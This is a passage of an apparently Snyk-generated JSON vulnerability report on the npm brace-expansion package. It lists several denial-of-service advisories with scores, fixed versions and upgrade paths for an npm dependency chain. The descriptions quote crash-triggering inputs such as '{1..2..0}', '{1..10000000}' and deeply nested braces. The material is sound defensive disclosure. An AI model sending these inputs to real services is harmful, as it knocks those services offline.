nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the 